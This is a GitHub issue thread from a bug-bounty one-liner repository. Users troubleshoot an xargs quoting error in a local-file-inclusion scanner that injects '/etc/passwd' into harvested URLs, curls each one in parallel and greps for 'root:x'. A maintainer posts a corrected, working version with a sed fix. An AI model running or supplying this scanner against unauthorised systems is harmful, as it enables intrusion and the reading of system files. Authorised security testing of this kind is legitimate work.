dwisiswant0/awesome-oneliner-bugbounty

show

Opened this issue · 8 comments

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

Hi @Fawadkhanfk,

Thanks for raising issue.
But I need more context details, which command you used?

7RUST commented

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

I used a lfi one-liner. The exact command and error output is given below

root@kali-linux-vm:~# gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

7RUST commented

my guess over this issue is the quote between -c 'curl. Please correct me if I am wrong on this

R0X4R commented

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

Use after gf patterns sed "s/'/ /g" | sed "s/(/ /g" | sed "s/)/ /g" this will remove unwanted quotes and bracket which are throwing the error

Is this issue rectified ? I followed LFI command as mentioned but getting the error :

gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

R0X4R commented

Hey @Dadichi008,

Is this issue rectified ? I followed LFI command as mentioned but getting the error :

gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

Use

gau example.com | gf lfi | qsreplace "/etc/passwd" | sed "s/'\|(\|)//g" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x:0" && echo "VULN! %"'

Wow this is so quick, thanks alot @R0X4R Let me check and confirm if it is working or not.

You are an absolute gem @R0X4R its working. 👍